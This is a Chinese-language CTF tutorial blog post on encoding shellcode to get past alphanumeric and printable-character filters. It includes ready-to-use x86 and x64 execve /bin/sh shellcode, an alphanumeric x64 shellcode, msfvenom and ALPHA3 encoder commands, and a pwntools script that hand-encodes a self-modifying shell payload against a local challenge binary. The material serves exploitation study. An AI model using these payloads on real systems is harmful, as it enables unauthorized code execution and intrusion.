shellcode编码

字符检测绕过

有时候程序会对输入进行一些可打印检查,导致平常的shellcode失效,这个时候需要对shellcode进行编码.
可打印检查一般分为Alphanumeric(字符在[A-Za-z0-9]区间)和Printable(字符的ascii码在0x1f和0x7f区间,不包含边界).

例题:pwnable.tw:Death Note.

x86编码

x86下一个27字节的可用shellcode

1
"\x42\x4d\x36\x91\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"

x86下可以使用msf内置的encoder.

1
2
3
4
5
6
7
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax
#可以直接生成shellcode,BufferRegister是指向shellcode的寄存器.
#如果不声明BufferRegister,生成的shellcode会有额外的几条并不是可打印字符的指令来确定shellcode的位置.
#x86/alpha_mixed这个encoder也可.x86/unicode_mixed与x86/unicode_upper用于宽字节的情况.

cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax
#也可以用msf来编码已有的shellcode

x64编码

alpha3工具

一段可用的x64 shellcode

1
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

一段可用的x64 可见字符shellcode

1
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M1L3a144H4p4l32354X4x3w8K2D3T3y1P0a0k3Q0f2O0g2I4H0p7m0A03

生成命令

1
python ALPHA3.py x64 ascii mixedcase RAX --input="shellcode"

手动编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.arch = "amd64"
context.log_level = "debug"

r = process("./chall3")
gdb.attach(r)

payload = '''
push rax
pop rdi
push r15
pop rsi
push r15
push r15
push r15
push r15
pop rsi
pop rsi
pop rsi
pop rsi
push 0x60
pop rdx
sub byte ptr [rax + 0x2a], dl
sub byte ptr [rax + 0x2a], dl
sub byte ptr [rax + 0x2b], dl
sub byte ptr [rax + 0x2d], dl
sub byte ptr [rax + 0x2e], dl
push r15
pop rdx
push 0x3b
pop rax
'''
#r15 = 0
#rax = &shellcode
payload = asm(payload)
print hex(len(payload))

payload += "\x48\x43\x27\x2f\x6f\x65/bin/sh"
r.send(payload)

r.interactive()
-------------本文结束感谢您的阅读-------------
+ +